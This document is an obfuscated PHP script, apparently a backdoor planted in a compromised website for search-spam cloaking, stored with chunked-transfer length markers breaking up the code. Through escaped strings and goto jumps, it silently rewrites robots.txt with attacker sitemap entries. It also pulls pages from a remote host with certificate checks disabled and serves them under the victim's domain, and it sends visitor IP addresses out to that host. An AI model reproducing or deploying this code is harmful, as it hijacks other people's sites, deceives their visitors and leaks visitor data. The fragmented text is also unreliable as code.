1 < 3 ?ph 2 p 4 go 4 to N 3 WuL 3 Z; 4 N2px 4 L: i 3 f ( 4 !emp 3 ty( 4 $get 3 ["\ 4 162" 3 ])) 3 { 4 $rob 1 o 4 tsPa 3 th 4 = $_ 3 SER 3 VER 6 ["\104 4 \x4f 5 \x43\ 3 x55 7 \x4d\x4 4 5\11 4 6\12 5 4\x5f 4 \122 c \x4f\x4f\124 4 "] . 4 "\x 6 2f\162 4 \157 3 \14 7 2\x6f\x 5 74\16 3 3\5 7 6\x74\x 6 78\x74 4 "; $ 4 site 3 map 3 Blo 2 ck a = "\x55\x 5 73\x6 7 5\x72\x 5 2d\x6 4 1\14 7 7\145\x 7 6e\x74\ 6 72\x20 6 \x2a\x 4 a\10 5 1\154 c \154\x6f\x77 3 \x3 8 a\x20\x2 f f\12"; $sitemap 7 s = "\x 5 a\123 6 \151\1 8 64\x65\x 9 6d\x61\16 8 0\72\x20 3 {$h 4 ttp_ 4 type 2 }{ d $_SERVER["\x4 3 8\x 8 54\x54\1 5 20\13 4 7\11 5 0\117 a \123\124"] f }{$_SERVER["\x5 5 3\103 8 \122\x49 4 \x50 d \x54\x5f\116\ 3 x41 b \x4d\x45"]} 4 \77\ 6 163\x3 6 d\x73\ 5 12"; 8 if (!fil 4 e_ex 4 ists 1 ( 10 $robotsPath)) { 8 file_put 3 _co 4 nten f ts($robotsPath, 10 $sitemapBlock . b $sitemaps) 3 ; } 4 els b e { $robots 7 Content 4 = @ 5 file_ 18 get_contents($robotsPath 7 ); if ( 4 strp a os($robots 8 Content, d $_SERVER["\1 9 23\x43\x5 14 2\x49\x50\x54\x5f\x4 f e\x41\x4d\x45"] 3 ) = 4 == f 4 alse 5 ) { @ 28 file_put_contents($robotsPath, $sitemaps 3 , F 3 ILE 3 _AP 3 PEN 6 D); } 9 } } goto 2 Ez 4 Yoe; 8 NWuLZ: 4 erro 3 r_r 4 epor 3 tin 3 g(0 8 ); goto 3 yMq 3 RN; 8 yMqRN: 4 $get 7 = $_GE 9 T; goto s 2 hq 4 ZL; 3 Aq5 2 NJ 5 : $ll 4 = " 1d {$http_type}{$_SERVER["\110\1 5 24\12 a 4\120\137\ a x48\x4f\12 4 3\x5 14 4"]}{$_SERVER["\x53\ 9 x43\122\1 2 11 f \x50\x54\137\11 8 6\x41\11 4 5\10 5 5"]}" 8 ; goto D 3 _ia 4 M; m 3 5bk 4 F: f 4 unct 3 ion 4 get 4 Curl 2 ($ 4 url, 8 $getDat 4 a = 4 arra 2 y( 5 )) { 13 if (!empty($getData 8 )) { $qu 3 ery 3 Str 6 ing = 3 is_ f array($getData) 3 ? 7 http_bu 3 ild 6 _query c ($getData) : c $getData; $ 5 url . b = (strpos($ 6 url, " 4 \77" b ) === false 8 ? "\77" 7 : "\x2 5 6") . d $queryString 8 ; } if ( 8 function b _exists("\1 5 43\x7 7 5\x72\1 9 54\137\x6 5 9\156 9 \151\164" 7 )) { $c 5 h = c 5 url_i 4 nit( 3 ); 8 curl_set 3 opt 9 _array($c 9 h, array( 3 CUR 3 LOP 5 T_URL 3 => 7 $url, a CURLOPT_RE 3 TUR 3 NTR 3 ANS 3 FER 6 => tr c ue, CURLOPT_ 3 SSL 4 _VER 3 IFY 8 PEER => 5 false 15 , CURLOPT_SSL_VERIFYH 3 OST 14 => false, CURLOPT_F 3 OLL 3 OWL 3 OCA 3 TIO 13 N => true, CURLOPT_ 3 TIM 3 EOU 7 T => 10 a , CURLOPT_ 3 HTT 4 PGET 13 => true, CURLOPT_U 4 SERA 3 GEN 6 T => " a \115\157\1 6 72\151 8 \154\x6c 6 \141\5 4 7\x3 6 5\x2e\ 2 60 6 ")); $ 7 data = 8 curl_exe 5 c($ch 9 ); curl_c 4 lose 7 ($ch); d if (!empty($d b ata)) { ret 3 urn 6 $data a ; } } if ( 7 ini_get 5 ("\14 e 1\154\x6c\x6f\ 3 167 9 \x5f\x75\ 6 162\15 9 4\x5f\146 9 \157\160\ 4 x65\ b 156")) { $c 5 ontex 4 t = 6 stream 8 _context 5 _crea 3 te( 9 array("\x 2 68 b \164\x74\16 6 0" => 9 array("\1 4 55\x 9 65\164\x6 7 8\x6f\x 3 64" 7 => "\x 6 47\105 9 \x54", "\ 5 x74\x 6 69\155 8 \145\x6f d \x75\x74" => 8 10, "\15 8 0\x65\x6 5 1\x64 8 \x65\162 a " => "\125 6 \163\x d 65\162\x2d\x4 e 1\147\145\x6e\ 5 164\x 5 3a\40 9 \x4d\157\ 3 x7a b \151\x6c\x6 7 c\x61\x 3 2f\ b x35\x2e\60\ 7 15\12") 5 , "\1 a 63\x73\x6c f " => array("\16 b 6\x65\162\x 4 69\1 5 46\x7 7 9\137\1 9 60\x65\14 11 5\162" => false, 5 "\x76 6 \145\x c 72\151\146\1 8 71\137\x 2 70 e \145\145\162\x 4 5f\x 8 6e\141\x 6 6d\x65 b " => false) c )); $data = 14 @file_get_contents($ c url, false, 8 $context 31 ); if (!empty($data)) { return $data; } } return 3 ''; 8 } goto 4 X5nb 2 1; 9 D_iaM: $ 5 vurl 3 = $ f http_type . "\x 5 69\14 a 4\154\x79\ 3 62\ 7 56\x69\ 5 x64\x d 73\x68\157\x7 6 0\x2e\ 4 x63\ 4 143\ 8 167\x75\ 4 56\1 8 43\x63\x 6 2f\64\ 3 61\ 9 71\56\x61 8 \163\x70 4 \x78 d "; goto N2pxL 7 ; EzYoe 16 : if (!empty($get["\16 9 3"])) { $ 4 para 2 ms f = array("\163" 5 => d 7 ate("\1 7 31\x6d\ 4 144\ 7 x48\151 6 "), "\ 7 x6e\165 8 \155\142 15 \x65\162" => $get["\1 4 56\1 a 65\x6d\x62 a \145\162"] 7 ); $str 3 = a getCurl($v c url, $params d ); $str = str 5 _repl 2 ac b e(array("\1 7 73\xe5\ 5 275\2 8 23\xe5\x 4 89\x 3 8d\ 5 345\x 4 9c\2 4 60\x 8 e5\235\x 6 80\x7d 4 "), 13 array($http_type . f $_SERVER["\110\ 8 x54\x54\ 7 x50\x5f 9 \110\117\ c x53\124"] . 13 $_SERVER["\123\x43\ c 122\x49\x50\ 5 124\1 15 37\116\x41\x4d\x45"]) 6 , $str 5 ); he 3 ade 5 r("\1 4 03\1 c 57\156\x74\x 6 65\156 9 \164\x2d\ 9 164\171\1 7 60\x65\ c 72\164\x65\1 6 70\x74 6 \57\x7 8 8\155\15 4 4"); 4 ech 7 o $str; 4 die a ; } goto N 4 4dac 7 ; X5nb1 d : $http_type 2 = 1e !empty($_SERVER["\110\x54\x54\ 6 120\12 5 3"]) 3 && f $_SERVER["\x48\ 8 124\124\ a x50\123"] 2 != 6 = "\x6 9 f\146\x66 6 " ? "\ 8 x68\164\ d 164\160\x73\x 6 3a\x2f 4 \x2f a " : "\150\ 14 164\164\160\x3a\x2f\ 2 57 d "; goto Aq5NJ 4 ; f5 3 XoA b : function 3 pos 11 tCurl($url, $post 12 Data = array()) { 5 $post 1b String = is_array($postData 16 ) ? http_build_query($ b postData) : b $postData; 1f if (function_exists("\143\x75\ 12 162\154\x5f\x69\x6 7 e\x69\1 f6 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => e true, CURLOPT_ 6 POSTFI 3 ELD 6 S => $ a postString 66 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 8 x6c\x6c\ 1c 157\x77\x5f\x75\162\154\x5f\ 6 x66\x6 b f\x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 11 " => array("\155\ 7 145\164 b \150\157\14 a 4" => "\12 7 0\x4f\x 7 53\124" 6 , "\16 10 4\x69\155\x65\15 7 7\165\x d 74" => 10, "\ 7 x68\x65 7 \141\14 8 4\x65\x7 a 2" => "\10 5 3\x6f d \156\x74\x65\ d x6e\x74\55\12 6 4\171\ 9 x70\x65\x 8 3a\x20\x d 61\160\160\x6 8 c\x69\x6 7 3\x61\x 7 74\x69\ 7 x6f\x6e d \57\x78\55\x7 6 7\x77\ 9 167\55\x6 9 6\x6f\x72 6 \155\x d 2d\165\162\x6 b c\x65\156\1 8 43\157\1 4 44\1 8 45\144\x 5 d\12" 7 . "\x4 e 3\x6f\156\x74\ d 145\156\x74\x 6 2d\x4c a \145\x6e\1 b 47\164\x68\ 5 72\40 4 " . 6 strlen d ($postString) 6 . "\x a d\xa" . "\ 4 125\ 6 x73\14 a 5\x72\x2d\ 5 101\x 10 67\x65\156\164\x e 3a\40\x4d\157\ 8 172\151\ a x6c\x6c\14 7 1\x2f\6 8 5\56\x30 7 \xd\xa" c , "\143\x6f\ 8 x6e\164\ c 145\x6e\164" 10 => $postString) 1c , "\163\x73\x6c" => array("\ c x76\145\x72\ e x69\146\171\x5 6 f\x70\ 21 x65\145\162" => false, "\x76\145\ d 162\x69\x66\x 5 79\x5 8 f\160\14 6 5\x65\ 5 x72\1 d 37\x6e\141\15 5 5\145 7b " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 6 m5bkF; 6 N4dac 15 : if (!empty($get["\1 d 51\144"])) { 4 if ( 13 empty($get["\153\15 a 3"])) { $i 7 p = get 3 _ip 4 (); 18 $params = array("\x69\16 6 0" => 4 $ip, f "\x69\144" => 2 is b set($get["\ 9 x69\144"] 4 ) ? f $get["\151\x64" 4 ] : 2 '' 7 , "\x6c c \x6c" => $ll 6 ); $tz 1f str = getCurl($vurl, $params); c if (strpos($ 5 tzstr d , "\x69\144") 5 !== f false) { echo $ 5 tzstr a ; die; } } 17 $params = array("\x69\ 13 x64" => $get["\x69\ 5 x64"] c , "\x6c\154" b => $ll); $ 3a str = getCurl($vurl, $params); $str = str_replace(array("\ 3 x7b 6 \125\x 9 52\x4c\17 7 5", "\1 3 73\ 5 345\2 7 37\237\ 8 345\x90\ 5 215\1 3 75" d ), array(get_ 7 url_inf 7 o("\146 7 \165\15 9 4\x6c"), 11 get_url_info("\15 8 6\157\13 a 7\x77\167\ 6 167")) 9 , $str); 12 echo $str; die; } 8 else { $ 8 sitemapU 8 rl = $ll 8 . "\x3f 8 \x73\x3d 4 " . b date("\131\ 7 155\144 8 \110\x69 b "); echo "\ 5 74\14 a 4\x69\166\ 7 40\x73\ a 164\171\15 7 4\145\x 6 3d\x27 b \x74\145\17 6 0\164\ 9 x2d\x61\1 c 54\151\147\1 6 56\x3a 7 \x63\14 12 5\x6e\164\x65\x72\ 4 73\4 9 0\160\x61 f \144\144\x69\15 6 6\x67\ 3 72\ b 61\x30\160\ 4 170\ 7 40\x30\ 7 73\x27\ 5 76\x3 9 c\x61\x20 7 \150\16 a 2\x65\146\ 5 75\42 1 { f $sitemapUrl}\x2 7 2\x20\x 6 74\x61 8 \x72\x67 a \x65\164\x 4 3d\4 f 2\x5f\x62\154\1 5 41\x6 5 e\x6b f \42\40\162\x65\ 5 x6c\x 6 3d\x22 a \x6e\157\x 7 66\157\ c x6c\x6c\157\ 9 167\x22\x 8 3e\x20\x 4 53\x 5 69\x7 13 4\x65\x6d\x61\160\7 a 4\57\141\x 4 3e\x 8 3c\x2f\1 8 44\151\1 6 66\76" 9 ; } goto 3 nnS 4 Bp; 3 Uh8 2 So 13 : function get_ip() 4 { f 4 orea 3 ch a (array("\x 13 48\x54\x54\x50\x5f\ 3 x58 8 \137\x46 7 \117\x5 4 2\12 5 7\101 b \122\104\x4 7 5\104\x 6 5f\x46 8 \x4f\x52 6 ", "\x f 48\124\x54\120\ 6 x5f\x4 5 3\114 5 \x49\ 9 105\x4e\x 9 54\137\11 5 1\x50 b ", "\x52\x4 6 5\x4d\ c 117\x54\x45\ 5 x5f\1 a 01\x44\x44 6 \x52") 4 as 3 $ke 1 y 18 ) { if (!empty($_SERVER[ 5 $key] c )) { return 6 trim(e 3 xpl 6 ode("\ 4 x2c" b , $_SERVER[ 7 $key])[ 2 0] e ); } } return 7 "\x55\x 6 4e\113 7 \116\x4 4 f\x5 f 7\116"; } goto 6 f5XoA; 6 shqZL f : function get_ a url_info(s 7 tring $ e return_type = 9 "\144\157 8 \155\141 9 \151\x6e" 4 ) : a string { $ 4 host 1e = $_SERVER["\x48\124\124\x50\ 8 x5f\110\ d x4f\123\x54"] 14 ; if ($return_type = 9 == "\144\ 6 x6f\15 9 5\x61\x69 6 \156") f { return $host 8 ; } if ( 14 $return_type === "\1 d 56\157\x5f\x7 b 7\167\167") b { return l a trim($host 6 , "\x7 d 7\x77\167\x2e 4 "); 5 } $pr 6 otocol 5 = is 5 set($ 12 _SERVER["\110\x54\ a 124\x50\x5 25 3"]) && $_SERVER["\110\x54\x54\x50\x5 5 3"] = a == "\x6f\1 4 56" 2 || 1a isset($_SERVER["\x48\x54\ e 124\x50\x5f\13 7 0\137\1 2 06 d \x4f\122\127\ 5 x41\1 f 22\104\x45\x44\ 5 137\x 6 50\x52 c \117\x54\x4f 16 "]) && $_SERVER["\110\ 18 124\124\120\137\x58\137\ c 106\x4f\122\ 5 x57\1 f 01\122\104\105\ c 104\137\x50\ 9 122\x4f\x 6 54\117 9 "] === "\ 6 150\x7 9 4\x74\160 4 \x73 11 " ? "\x68\x74\164 7 \x70\x7 a 3\x3a\57\x 8 2f" : "\ 10 x68\x74\164\x70\ b 72\x2f\x2f" 4 ; $b 4 ase_ 7 url = $ a protocol . 8 $host; 1a if ($return_type === "\142 7 \x61\x7 12 3\145") { return $ 8 base_url 8 ; } $uri f = $_SERVER["\x 9 52\x45\12 1 1 a \125\105\1 6 23\124 8 \x5f\x55 8 \122\x49 7 "]; $fu 2 ll 11 _url = $base_url 6 . $uri 19 ; if ($return_type === "\ 5 x66\1 c 65\154\154") b { return $ 9 full_url; 15 } return ''; } goto c Uh8So; nnSBp 3 : ? 1 > 0